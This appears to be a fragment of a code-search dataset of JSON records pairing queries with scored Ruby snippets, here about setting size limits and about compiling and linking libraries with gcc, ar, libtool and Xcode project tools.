"5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "e9c2f1d24c4079fe5dde0e56fbc9caae", "score": "0.5732533", "text": "def limit(length)\n (self.length > length)? self[0...length].gsub(/(?![\\s\\S]+?[,:;)\\/\\\\\\|])([,:;)\\/\\\\\\|].*)/,'') : self\n end", "title": "" }, { "docid": "5f3933bcc0cfa6fe0059f23ff2b8b4d6", "score": "0.5730206", "text": "def max_length(value, pdef)\n if(value.length <= pdef['MaxLength'].to_i)\n true\n else\n \"Value must not exceed #{pdef['MaxLength']} characters\"\n end\n end", "title": "" }, { "docid": "262571d22497f0dd6e4df3af9d63ade4", "score": "0.57249296", "text": "def limit(value)\n merge(wbeulimit: value.to_s)\n end", "title": "" }, { "docid": "54cea3a981cc048cd0ab164536230a51", "score": "0.57201076", "text": "def limit=(x); @opts['limit'] = x; end", "title": "" }, { "docid": "fa0fd09c28e2c2ac90eba408aa539e04", "score": "0.57122624", "text": "def limit\n @options[:limit]\n end", "title": "" }, { "docid": "acbbf1c9cb18185bc7049796c639a182", "score": "0.5698796", "text": "def size=(size)\n instance_set(:size, size)\n end", "title": "" }, { "docid": "a8d93845a7ec2dd0b8641b24b4ea4b0f", "score": "0.5698214", "text": "def work_profile_password_minimum_length=(value)\n @work_profile_password_minimum_length = value\n end", "title": "" }, { "docid": "a40b73f8c3ed7cd03d44174f940206ea", "score": "0.56822217", "text": "def width=(value)\n\t\t\t@width = value\n\t\tend", "title": "" }, { "docid": "a40b73f8c3ed7cd03d44174f940206ea", "score": "0.56822217", "text": "def width=(value)\n\t\t\t@width = value\n\t\tend", "title": "" }, { "docid": "8d75a7dab16ecae91754ad78654edf65", "score": "0.5681178", "text": "def pagesize=(value)\n\t\t\tvalue = GrabzIt::Utility.nil_check(value).upcase\n\t\t\t@pagesize = value\n\t\tend", "title": "" }, { "docid": "1cf0d3701b295f2a2d7f568fd6910e30", "score": "0.56792456", "text": "def postfieldsize=(value)\n Curl.set_option(:postfieldsize, value_for(value, :int), handle)\n end", "title": "" }, { "docid": "f9be0b6c59a19138d230c85c09e7b683", "score": "0.56743735", "text": "def width=(width)\n end", "title": "" }, { "docid": "5b5b5c0358fddbb2d6cf387416084bf9", "score": "0.56631136", "text": "def reset_length\n self.length = Utils.length(self)\n end", "title": "" }, { "docid": "1aad204c816015a818cf3edb52de262b", "score": "0.5661258", "text": "def ws_message_size_limit=val\n\t\t\tGRHttp.ws_message_size_limit = val\n\t\tend", "title": "" }, { "docid": "974c83387a002e84aad2ed99deb6c8b8", "score": "0.5649706", "text": "def set_Width(value)\n set_input(\"Width\", value)\n end", "title": "" }, { "docid": "4d64d320657fa79eb3c3baffd73ea228", "score": "0.5648802", "text": "def size=(size)\n end", "title": "" }, { "docid": "9f7404a4a5ece4b5f45b5b4ca81ecfa2", "score": "0.5638142", "text": "def size=(size)\n check_is_a!(size, Integer)\n check_gt!(size, 0)\n @attributes[:Size] = size\n end", "title": "" }, { "docid": "aee97fc1b241ef7bfbd39ba5b6e11e75", "score": "0.563386", "text": "def width(value)\n attributes[:width] = value\n end", "title": "" }, { "docid": "ade774e8e2dbad803c117ce55789cffa", "score": "0.5632207", "text": "def preview_page_limit\n @attributes[:preview_page_limit]\n end", "title": "" }, { "docid": "df23199282a24aec8d788639a343155f", "score": "0.5620257", "text": "def length=( length )\n self.distance = length\n end", "title": "" }, { "docid": "1de5b6bfc3813f7246c11b2cbc89eb28", "score": "0.5619361", "text": "def redirection_limit=(limit); end", "title": "" }, { "docid": "b1865e30febd1c87d2578c698533b281", "score": "0.5610848", "text": "def limit_text_length (string_to_put_limitation, max_length)\n\n if string_to_put_limitation.length > max_length\n\n limited_string = string_to_put_limitation[0..max_length].gsub(/\\s\\w+\\s*$/,'...')\n\n return limited_string\n\n else\n\n return string_to_put_limitation\n\n end#string size check\n\n end", "title": "" }, { "docid": "3a150e68c13f024ba44e161eca6836d4", "score": "0.5598689", "text": "def width=(value)\n @width = value\n end", "title": "" }, { "docid": "32b057809b68dcaae4ffa2360ab82866", "score": "0.5598007", "text": "def width=(w)\n @view__.width = w\n end", "title": "" }, { "docid": "ea0a9f57c22a6474cf727ac18680224c", "score": "0.5591899", "text": "def calc_length\n self[:length].value = Base.calculate_and_set_length(self)\n end", "title": "" }, { "docid": "d927322332e570cf6cbbdb908c478650", "score": "0.5579926", "text": "def user_limit=(limit)\n raise 'Tried to set user_limit on text channel' if text?\n\n update_channel_data(user_limit: limit)\n end", "title": "" } ]
8d227e7a747881d4a1d4a6923fc051b7
Link Binary with Libraries
[ { "docid": "4210fb755aa544540a99ef326dae0329", "score": "0.6994032", "text": "def link_binary_with_libraries_phase(target)\n puts \"Link binary with libraryes\"\n phase = target.build_phases.find { |phase| phase.is_a?(Xcodeproj::Project::Object::PBXFrameworksBuildPhase) }\n $frameworks.each do | fw |\n file_ref = Xcodeproj::Project::Object::PBXFileReference.new($project, $project.generate_uuid)\n file_ref.path = fw\n file_ref.source_tree = \"<group>\"\n file_ref.last_known_file_type = \"wrapper.framework\"\n file_ref.name = /.*\\/(.*)\\.framework/.match(fw)[1]\n phase.add_file_reference(file_ref, true)\n end\nend", "title": "" } ]
[ { "docid": "e25a85055d95f5ebb06d640b0ae528d0", "score": "0.71940154", "text": "def link_file (arch, target, libs, flags = nil)\n file target => libs do\n sh \"#{LD[arch]} #{join_args(flags)} -o #{target} #{join_args(libs)}\"\n end\nend", "title": "" }, { "docid": "10489c48e3b67dbadd00b290ada77b3c", "score": "0.69903004", "text": "def ld(lib)\n load lib.to_s + '.rb'\nend", "title": "" }, { "docid": "9331697a0c8c3182a639a7badb7b5f17", "score": "0.67696065", "text": "def linked_dylibs; end", "title": "" }, { "docid": "9331697a0c8c3182a639a7badb7b5f17", "score": "0.67696065", "text": "def linked_dylibs; end", "title": "" }, { "docid": "627b7f645041f2109f797c3784fb00fe", "score": "0.6586295", "text": "def link_lib(project)\n begin\n # Check for object files\n raise \" No object files found\" if @obj_files.empty?\n \n # Run the linker command\n command = \"ar -cvq lib#{project.name}.a \" + @obj_files.join(' ')\n system(command + ' &> ' + COMPILER_OUTPUT_FILEPATH)\n \n # If the command failed, raise the errors\n raise Utils.read_file(COMPILER_OUTPUT_FILEPATH, ' ') if !$?.success?\n rescue => e\n raise raise \"Linker Errors:\\n\\n#{e.message}\\n\"\n end\n end", "title": "" }, { "docid": "c58ff4409eec2d18254f9936f5e21811", "score": "0.65707165", "text": "def link_with *libs\n (@link_libs ||= []) << libs\n end", "title": "" }, { "docid": "c1024b7da89835b059317291a93c74db", "score": "0.65272593", "text": "def link libs\n libs.each do |lib|\n p lib\n pod lib.name, lib.version\n $linkedPods << lib\n end\nend", "title": "" }, { "docid": "abf2d4f0b2dff137ace1c6b3df330e3f", "score": "0.6444032", "text": "def link_libraries\n if RbConfig::CONFIG[\"THREAD_MODEL\"] == \"pthread\"\n logger.info \"Linking extension against 'pthread' library\"\n # Link gem extension against pthread library\n have_library \"pthread\"\n have_required_function \"pthread_create\"\n end\n\n # Links gem extension against the `dl` library. This is needed when Ruby is\n # not linked against `dl` itself, so link it on the gem extension.\n logger.info \"Linking extension against 'dl' library\"\n have_library \"dl\"\n # Check if functions are available now from the linked library\n %w[dlopen dlclose dlsym].each do |func|\n have_required_function func\n end\nend", "title": "" }, { "docid": "aa228d905aff1c52742ac7a5023e6db6", "score": "0.6391356", "text": "def link_dll(project)\n begin\n # Check for object files\n raise \" No object files found\" if @obj_files.empty?\n \n # Run the linker command\n command = \"g++ -shared -o lib#{project.name}.so \" + @obj_files.join(' ')\n system(command + ' &> ' + COMPILER_OUTPUT_FILEPATH)\n \n # If the command failed, raise the errors\n raise Utils.read_file(COMPILER_OUTPUT_FILEPATH, ' ') if !$?.success?\n rescue => e\n raise raise \"Linker Errors:\\n\\n#{e.message}\\n\"\n end\n end", "title": "" }, { "docid": "fbf233e648d19f2333f69834c7fd5318", "score": "0.6348037", "text": "def lib_target args\n # We adjust args slightly and pass it on. Add one of these for dynamic libs:\n # soname -- soname of library (non-OSX only)\n # install_name -- install_name of library (OSX only)\n\n # If the version is defined, the file name will have all 3 components of the version\n # number but the soname will only have major.minor (executables compiled against this\n # library will have the soname embedded so this ensures that the library can be\n # upgraded without affecting those executables).\n #\n # If no version is available, obviously none of this applies.\n #\n # Append major.minor.patch version numbers and extension to library name\n # and prepend path\n #\n name = add_ext args[ :name ], :lib\n args[ :path ] = File.join( @obj_root, 'lib', name )\n\n if :dynamic == @link_type # soname etc. only for dynamic libs\n if @@system.darwin?\n # special case --\n # 1. path and install_name are identical absolute paths\n # 2. We use all 3 version components in the actual path name but only the major\n # and minor numbers in the install_name; finally, suitable symbolic links\n # are created. For example, for debug build of library libFoo we will have:\n # + path = /var/tmp/brubuild/foo/lib/libFoo.3.2.1.dylib_dbg\n # + install_name = @rpath/../lib/libFoo.3.2.dylib\n # + symbolic link in the lib directory:\n # libFoo.3.2.dylib --> libFoo.3.2.1.dylib_dbg\n # 3. Applications that will be installed in the 'bin' directory next to 'lib' will\n # need to link with \"-Wl,-rpath,@loader_path/../lib\"\n\n # add :install_name to args\n # add suitable extension including 2-component version\n lib_name = add_ext( args[ :name ], :lib, true )\n args[ :install_name ] = File.join( '@rpath', '..', 'lib', lib_name )\n\n else\n\n # add :soname to args\n # add suitable extension including 2-component version\n lib_name = add_ext( args[ :name ], :lib, true )\n args[ :soname ] = lib_name\n end\n end\n\n args[ :build ] = self\n\n # replace dependency lists with lists of corresponding objects\n\n # object files\n files = args[ :files ]\n raise \"File list missing\" if !files\n raise \"Expected Array, got String\" if files.is_a?( String )\n raise \"File list empty\" if files.empty?\n args[ :deps ] = names_to_objects files\n\n # libraries\n libs = args[ :libs ]\n if libs\n raise \"Expected Array, got String\" if libs.is_a?( String )\n args[ :libs ] = names_to_objects( libs, :lib ) if libs\n end\n\n Build.logger.debug \"Creating library target %s\" % args[ :path ]\n return LibFileTarget.new args\n end", "title": "" }, { "docid": "e6de5d53bdf7e299be371f9d909e9de3", "score": "0.6330571", "text": "def require_lib(*libs); end", "title": "" }, { "docid": "e6de5d53bdf7e299be371f9d909e9de3", "score": "0.6330571", "text": "def require_lib(*libs); end", "title": "" }, { "docid": "23c55c166e971b69f4ee72e44ad7f6ba", "score": "0.63095754", "text": "def lib(params)\n\t\tsym = requireParam(params, :sym)\n\t\tname = canonicalizeFilepath(Pathname.new(params[:name] || sym.to_s), Pathname.pwd())\n\t\tmodules = requireParam(params, :modules)\n\t\tmodules = canonicalizeFilepaths(modules.map {|modpath| Pathname.new modpath}, Pathname.pwd())\n\t\tStaticLibBuilder.new(:name => name, :modules => modules)\n\tend", "title": "" }, { "docid": "7c15a49d43fede6619c32b0c7463a747", "score": "0.6269851", "text": "def link exe, objects\n sh \"gcc #{objects.join ' '} -o #{exe} #{$L_FLAGS.join ' '}\"\nend", "title": "" }, { "docid": "95953afd2c34bd8296ef4c24fa75b7a2", "score": "0.6263023", "text": "def link exe, objects\n sh \"gcc #{objects.join ' '} -o #{exe} #{L_FLAGS.join ' '}\"\nend", "title": "" }, { "docid": "a546b951e42f5a67da8dccd215d14c6d", "score": "0.6200897", "text": "def load_libraries\n require 'libs/inheritable_attributes'\n require 'libs/daemon'\n require 'libs/stem_facade'\n require 'libs/ctcp'\n require 'libs/stem'\n require 'libs/leaf'\n require 'libs/channel_leaf'\n require 'libs/foliater'\n require 'libs/log_facade'\n end", "title": "" }, { "docid": "4c0e8d1516df9b82b14f7055c67de9cb", "score": "0.6166859", "text": "def make_lib\n FileUtils.mkdir_p 'build'\n\n lib_dir = \"#{@gem_dir}/lib/ruby2d/\"\n\n lib = ''\n @lib_files.each do |f|\n lib << File.read(\"#{lib_dir + f}.rb\") + \"\\n\\n\"\n end\n\n File.write('build/lib.rb', lib)\nend", "title": "" }, { "docid": "3a74f02eb1d9ebb93ba9f7e0b46c4da7", "score": "0.6128553", "text": "def link_project\n link_options = %w[ CFLAGS XCFLAGS LDFLAGS ].collect { |c| compile_params[c] }.join(' ')\n Dir.chdir( ::Crate.ruby.pkg_dir ) do\n dot_a = FileList[ \"ext/**/*.a\" ]\n dot_a << %w[ libssl.a libcrypto.a libz.a libruby-static.a ] # order is important on the last 4\n dot_o = [ \"ext/extinit.o\", File.join( project_root, \"crate_boot.o\" )]\n libs = compile_params['LIBS']\n cmd = \"#{compile_params['CC']} #{link_options} #{dot_o.join(' ')} #{libs} #{dot_a.join(' ')} -o #{File.join( dist_dir, name) }\"\n logger.debug cmd\n sh cmd\n end\n end", "title": "" }, { "docid": "24383b8adea1524077087ed8b4710364", "score": "0.6121892", "text": "def link_it(exe_name, obj_list)\n linker = build_linker_fields\n cmd_str = \"#{linker[:command]}#{linker[:includes]} \" +\n (obj_list.map{|obj|\"#{$yml_cfg['linker']['object_files']['path']}#{obj} \"}).join +\n $yml_cfg['linker']['bin_files']['prefix'] + ' ' +\n $yml_cfg['linker']['bin_files']['destination'] +\n exe_name + $yml_cfg['linker']['bin_files']['extension'] + \" #{linker[:options]}\"\n execute(cmd_str, false, false)\n end", "title": "" }, { "docid": "c020d09f403dbb58d0257ee0f1e5cf8e", "score": "0.6114564", "text": "def libs = [\"hscript\", \"mcli\", \"tink_lang\", \"dox\"]", "title": "" }, { "docid": "7ec6b822e106ecbcb576ca4b569f801e", "score": "0.61104065", "text": "def link_libraries(type, *dirs)\n extra_command('target_link_libraries', @name, type)\n .add_args(dirs)\n end", "title": "" }, { "docid": "175ba259c6c8c59b00f9c142a62d1b11", "score": "0.6063408", "text": "def add_linked_libs_from_sdks_to_app\n $linkedPods.each do |lib|\n next if lib.is_static\n pod lib.name, lib.version\n end\nend", "title": "" }, { "docid": "9c4da4a8d4e56da8fe88e33896d9f8c6", "score": "0.60568285", "text": "def link_libs_from_classpath_dir(libs)\n JavaBuildpack::Container::ContainerUtils.relative_paths(play_root, libs).each do |lib|\n shell \"ln -nsf ../#{lib} #{self.class.classpath_directory(play_root)}\"\n end\n end", "title": "" }, { "docid": "ab517e36718d37277c74c42214ad6cb8", "score": "0.6034212", "text": "def load_library\n\t\t\tlibrary_directory = File.expand_path(File.join(File.dirname(__FILE__), \"library\"))\n\t\t\tDir.foreach(library_directory) do |file|\n\t\t\t\tif file != \".\" && file != \"..\"\n\t\t\t\t\tf = File.open(File.join(library_directory, file))\n\t\t\t\t\trun(f.read)\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "fad2129a63613b32764dbc6644a3590e", "score": "0.60302055", "text": "def lib; end", "title": "" }, { "docid": "404fefd358399bb518a378780e6ed395", "score": "0.6028697", "text": "def load_libraries *libs\n libs.each do |lib|\n require_relative \"app-tester/#{lib}\"\n end\n end", "title": "" }, { "docid": "4a143e318709634dedaab0e3141b8448", "score": "0.6020775", "text": "def make_lib\n FileUtils.mkdir_p 'build'\n \n lib_dir = \"#{@gem_dir}/lib/ruby2d/\"\n \n lib = \"\"\n @lib_files.each do |f|\n lib << File.read(\"#{lib_dir + f}.rb\") + \"\\n\\n\"\n end\n \n lib << \"\ninclude Ruby2D::DSL\ninclude Ruby2D\\n\"\n \n File.write('build/lib.rb', lib)\nend", "title": "" }, { "docid": "b85772719b866c7756a71242c83989ee", "score": "0.6012117", "text": "def find_linked_libs(file_path)\n # Find all libaries for each bin\n command = \"otool -L #{file_path}\"\n\n stdout = shellout!(command).stdout\n stdout.slice!(file_path)\n stdout.scan(/#{install_dir}\\S*/)\n end", "title": "" }, { "docid": "fa87269091fcf05c9f65e9639ac84eb1", "score": "0.6004144", "text": "def add_library(name, script)\n return if configuration.disabled\n script = Uglifier.compile(script, :copyright => false) if configuration.minify_libraries\n worker.add_library(name, script)\n end", "title": "" }, { "docid": "520ad7fa069347b002598cfa0e7c802d", "score": "0.5993322", "text": "def ldflags\n \"-L#{Configuration::LibDir} -lskarb -lgc #{ENV['LDFLAGS']}\"\n end", "title": "" }, { "docid": "550a5eec7b5cbd7930088851dde47095", "score": "0.5988698", "text": "def build_external_libs(*iLstExternalLibs)\n require 'rUtilAnts/Misc'\n RUtilAnts::Misc::install_misc_on_object\n iLstExternalLibs.each do |iLibName|\n lLibDir = File.expand_path(\"#{File.dirname(__FILE__)}/../../external/#{iLibName}\")\n # Build the external library first\n # Don't do it from this environment, as it can modify global compilation variables\n change_dir(lLibDir) do\n lCmd = 'ruby -w build.rb'\n raise \"Unable to build external library #{iLibName} (using #{lCmd}): #{$?.inspect}\" if (!system(lCmd)) or (($? != nil) and ($? != 0))\n end\n $CFLAGS += \" -I#{lLibDir}/include \"\n $LDFLAGS += \" -L#{lLibDir}/lib -l#{iLibName} \"\n end\nend", "title": "" }, { "docid": "f7fdcd2d8403da448fee14ba2daeff7e", "score": "0.5980355", "text": "def ld_library_paths\n parse_paths(self['LD_LIBRARY_PATH'])\n end", "title": "" }, { "docid": "cfdea8aae3f358f7f9b4dbd6846972be", "score": "0.59755534", "text": "def additional_libraries\n JavaBuildpack::Util::LibraryUtils.lib_jars @lib_directory\n end", "title": "" }, { "docid": "dd5c00f1ee7162ed1742cbb38131f2f4", "score": "0.5960281", "text": "def dylib_load_commands; end", "title": "" }, { "docid": "dd5c00f1ee7162ed1742cbb38131f2f4", "score": "0.5960281", "text": "def dylib_load_commands; end", "title": "" }, { "docid": "b256582ed58a5ad17d6b33d48cd8271b", "score": "0.5955089", "text": "def do_link exe, objects\n sh \"#{$CC} #{objects.join ' '} -o #{exe} #{$L_FLAGS.join ' '}\"\nend", "title": "" }, { "docid": "3c20cd22c7c1630699d2b0befd0760c4", "score": "0.59548265", "text": "def spawn_linker(filename)\n system(\"#{cc} -o #{@output} #{filename} #{ldflags}\")\n raise_if_child_failed 'linker failed!'\n end", "title": "" }, { "docid": "87269cc63320e7e9e8e33ada77c78eaa", "score": "0.5951138", "text": "def require_libs(*libs); end", "title": "" }, { "docid": "87269cc63320e7e9e8e33ada77c78eaa", "score": "0.5951138", "text": "def require_libs(*libs); end", "title": "" }, { "docid": "083f581c736bab4851a431408afaa52e", "score": "0.5930494", "text": "def lib_path; end", "title": "" }, { "docid": "083f581c736bab4851a431408afaa52e", "score": "0.5930494", "text": "def lib_path; end", "title": "" }, { "docid": "083f581c736bab4851a431408afaa52e", "score": "0.5930494", "text": "def lib_path; end", "title": "" }, { "docid": "083f581c736bab4851a431408afaa52e", "score": "0.5930494", "text": "def lib_path; end", "title": "" }, { "docid": "083f581c736bab4851a431408afaa52e", "score": "0.5930494", "text": "def lib_path; end", "title": "" }, { "docid": "6ad9f72386b687405bb3c7a798e955c9", "score": "0.59277564", "text": "def statically_link_only_referenced_classes\n\t\tlibrary_path\n\tend", "title": "" }, { "docid": "3af99b76a3b95098ec593dc391c27025", "score": "0.5924011", "text": "def libs; end", "title": "" }, { "docid": "0861f594ab8e9c450300c0a70408daae", "score": "0.59169793", "text": "def library(*libraries)\r\n @libraries << libraries\r\n end", "title": "" }, { "docid": "0d47affc65cbaeec407e53894a47ad3a", "score": "0.5913247", "text": "def compile\n system \"chmod +x #{Play.start_script @play_root}\"\n link_libs\n end", "title": "" }, { "docid": "fc2ec58076ab6419959d64fcb83724f9", "score": "0.59090316", "text": "def install target_name, project_path, linked_libs\n target target_name do \n use_frameworks!\n project project_path\n \n link linked_libs\n end\nend", "title": "" }, { "docid": "9d77fd5d43667895f78ba2792a2eb176", "score": "0.5891653", "text": "def load_libraries(app)\n if LeapCli.logger.log_level >= 2\n log_version\n end\n add_platform_lib_to_path\n load_platform_libraries\n load_commands(app)\n load_macros\n end", "title": "" }, { "docid": "c3cca579bb819f2ec852c2456dd1eae3", "score": "0.588456", "text": "def append_library(libs, lib)\n libs + \" \" + format(LIBARG, lib)\nend", "title": "" }, { "docid": "7d0c181cebe79a1416ca3a7ddeaea9b9", "score": "0.58839345", "text": "def link_app(project)\n begin\n # Check for object files\n raise \" No object files found\" if @obj_files.empty?\n\n # Build the linker command\n command = \"g++ -o #{project.name} \" + @obj_files.join(' ')\n if !project.lib_paths.empty?\n command += ' -L' + project.lib_paths.join(' -L')\n end\n if !project.libs.empty?\n command += ' -l' + project.libs.join(' -l')\n end\n \n # Run the linker command\n system(command + ' &> ' + COMPILER_OUTPUT_FILEPATH)\n \n # If the command failed, raise the errors\n raise Utils.read_file(COMPILER_OUTPUT_FILEPATH, ' ') if !$?.success?\n rescue => e\n raise raise \"Linker Errors:\\n\\n#{e.message}\\n\"\n end\n end", "title": "" }, { "docid": "4a5c9bc66e78dda687824561027a83b4", "score": "0.58736974", "text": "def library_file_loaded(path); end", "title": "" }, { "docid": "aa040d4e99d6aad98e128e6cb47d7965", "score": "0.58736223", "text": "def library\n library = Library::fetch_library(self.library_code)\n end", "title": "" }, { "docid": "5885754443322662740e2b642fe3cab9", "score": "0.58730984", "text": "def ld_library_paths\n parse_paths(env['LD_LIBRARY_PATH'])\n end", "title": "" }, { "docid": "67a132e3a89b89669bdbac767564af89", "score": "0.5865902", "text": "def library_start\n end", "title": "" }, { "docid": "67a132e3a89b89669bdbac767564af89", "score": "0.5865902", "text": "def library_start\n end", "title": "" }, { "docid": "191b2d854e03d80d0706684d24ca1ae3", "score": "0.5851581", "text": "def build_static_lib_for_ios(static_libs, defines, output)\n exec! \"libtool -static -o #{@sandbox_root}/build/package.a #{static_libs.join(' ')}\"\n xcodebuild defines, '-sdk iphonesimulator', 'build-sim'\n sim_libs = static_libs_in_sandbox 'build-sim'\n exec! \"libtool -static -o #{@sandbox_root}/build-sim/package.a #{sim_libs.join(' ')}\"\n exec! \"lipo #{@sandbox_root}/build/package.a #{@sandbox_root}/build-sim/package.a -create -output #{output}\"\n end", "title": "" }, { "docid": "4273f1547cedc7864b372b8f1569ac27", "score": "0.5849003", "text": "def compile\n download_tomcat\n download_support\n link_application\n link_libs\n end", "title": "" }, { "docid": "9c302f5d3c8e46dce9cb2b979adf97fc", "score": "0.5848933", "text": "def add_library!(library_target, target, project)\n add_target_dependency! library_target, target, project\n add_target_to_build_phases! library_target, target\n \n add_linker_option! '-ObjC', target if has_objc_files? target\n end", "title": "" }, { "docid": "7fe9be3b4667af212d09d99ac82e82f3", "score": "0.58455706", "text": "def add_lib_folders(conf, *paths)\n paths.each do |path|\n conf.linker.library_paths << path if Dir.exists?(path)\n end\n end", "title": "" }, { "docid": "14ef1a8781fbdfdbdcf6a3bc22f59519", "score": "0.5839177", "text": "def add_link_flags(*flags)\n @libs.push(*flags)\n end", "title": "" }, { "docid": "f32554493395ddeb8514b5906f1960b1", "score": "0.58372766", "text": "def loadLibrary( name )\n\tKesh::ArgTest::type( \"name\", name, String )\n\tKesh::ArgTest::stringLength( \"name\", name, 1 )\n\tload File.expand_path( File.dirname( Kesh::Loader::ModuleInfo.getCallingFile() ) + \"/\" + name + \".library.rb\" )\nend", "title": "" }, { "docid": "19913d891936dbace9acb14dfafe1572", "score": "0.58359164", "text": "def process_lib src, file_name\n LibraryProcessor.new(@tracker).process_library src, file_name\n end", "title": "" }, { "docid": "8870d3315b5256b8d0a9671b07971066", "score": "0.58242023", "text": "def define_install_libruby_task\n file installed_libruby_path => artefact_path do\n cp artefact_path, installed_libruby_path\n %w{ bigdecimal date/date_core.a digest fiddle pathname psych stringio strscan }.each do |ext|\n ext = \"#{ext}/#{ext}.a\" unless File.extname(ext) == '.a'\n execute '/usr/bin/libtool', '-static', '-o', installed_libruby_path, installed_libruby_path, File.join(build_dir, 'ext', ext)\n end\n\n execute '/usr/bin/libtool', '-static', '-o', installed_libruby_path, installed_libruby_path, File.join(build_dir, 'enc', 'libenc.a')\n execute '/usr/bin/libtool', '-static', '-o', installed_libruby_path, installed_libruby_path, File.join(build_dir, 'enc', 'libtrans.a')\n\n installed_dependencies.each do |installed_dependency|\n execute '/usr/bin/libtool', '-static', '-o', installed_libruby_path, installed_libruby_path, installed_dependency\n end\n end\n end", "title": "" }, { "docid": "1e88ba7ccf414f8a9b3dfabf775a7033", "score": "0.5817197", "text": "def add_library name, path\n if path.is_a?(Array)\n path = path.collect { |p| expand_local_path(p) }\n else\n path = expand_local_path path\n end\n library = Sprout::Library.new( :name => name, :path => path, :file_target => self )\n libraries << library\n library\n end", "title": "" }, { "docid": "e9b693192ca149d7011a96afcc6c524f", "score": "0.58113915", "text": "def dlopen library\n Fiddle::Handle.new library\n end", "title": "" }, { "docid": "264f6b48cf6243781090e39cc7074a70", "score": "0.58062816", "text": "def add_library(name, **opt)\n Ils::HomeLibrary.new(name: name, **opt).tap do |lib|\n libraries << lib\n end\n end", "title": "" }, { "docid": "f5118e875b64ce8cf644bf2e24d14a95", "score": "0.580399", "text": "def lib_path=(_arg0); end", "title": "" }, { "docid": "f5118e875b64ce8cf644bf2e24d14a95", "score": "0.5803422", "text": "def lib_path=(_arg0); end", "title": "" }, { "docid": "f5118e875b64ce8cf644bf2e24d14a95", "score": "0.5803422", "text": "def lib_path=(_arg0); end", "title": "" }, { "docid": "f5118e875b64ce8cf644bf2e24d14a95", "score": "0.5803422", "text": "def lib_path=(_arg0); end", "title": "" }, { "docid": "f5118e875b64ce8cf644bf2e24d14a95", "score": "0.5803422", "text": "def lib_path=(_arg0); end", "title": "" }, { "docid": "945da90ef764f7712a19d629f9867e4a", "score": "0.5794487", "text": "def link(c_filename)\n obj_filename = object_file c_filename\n spawn_linker obj_filename\n FileUtils.rm_f obj_filename\n end", "title": "" }, { "docid": "990fd92efc9175cf81fe47990a756c08", "score": "0.57736087", "text": "def library\n @library ||= Boson.library(@lib)\n end", "title": "" }, { "docid": "8d7e3d000d302cfced476f8f2fb471a1", "score": "0.57730955", "text": "def static_libs(platform = :ios)\n library_roots.map do |root|\n case platform\n when :tvos\n \"lib#{root}-tvOS.a\"\n else\n \"lib#{root}.a\"\n end\n end\n end", "title": "" }, { "docid": "f7ab6aa3256e847e29fd98873e6125a7", "score": "0.57647675", "text": "def static_setup (so_list)\n $stderr.puts \"setup: dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n mkdir_p \"#{TGT_DIR}/lib\"\n mkdir_p \"#{TGT_DIR}/fonts\"\n cp_r \"fonts\", \"#{TGT_DIR}/fonts\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp \"lib/shoes.rb\", \"#{TGT_DIR}/lib\"\n cp_r \"lib/shoes\", \"#{TGT_DIR}/lib\"\n cp_r \"lib/exerb\", \"#{TGT_DIR}/lib\"\n cp_r \"samples\", \"#{TGT_DIR}/samples\"\n cp_r \"static\", \"#{TGT_DIR}/static\"\n cp \"README.md\", \"#{TGT_DIR}/README.txt\"\n cp \"CHANGELOG\", \"#{TGT_DIR}/CHANGELOG.txt\"\n cp \"COPYING\", \"#{TGT_DIR}/COPYING.txt\"\n # clean out leftovers from last build\n #rm_f \"#{TGT_DIR}/libruby.so\" if File.exist? \"#{TGT_DIR}/libruby.so\"\n #rm_f \"#{TGT_DIR}/libruby.so.#{rbvm}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvm}\"\n #rm_f \"#{TGT_DIR}/libruby.so.#{rbvt}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvt}\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\", remove_destination: true\n # copy and link libruby.so\n cp \"#{EXT_RUBY}/lib/libruby.so.#{rbvm}\", \"#{TGT_DIR}\"\n\n # copy include files - it 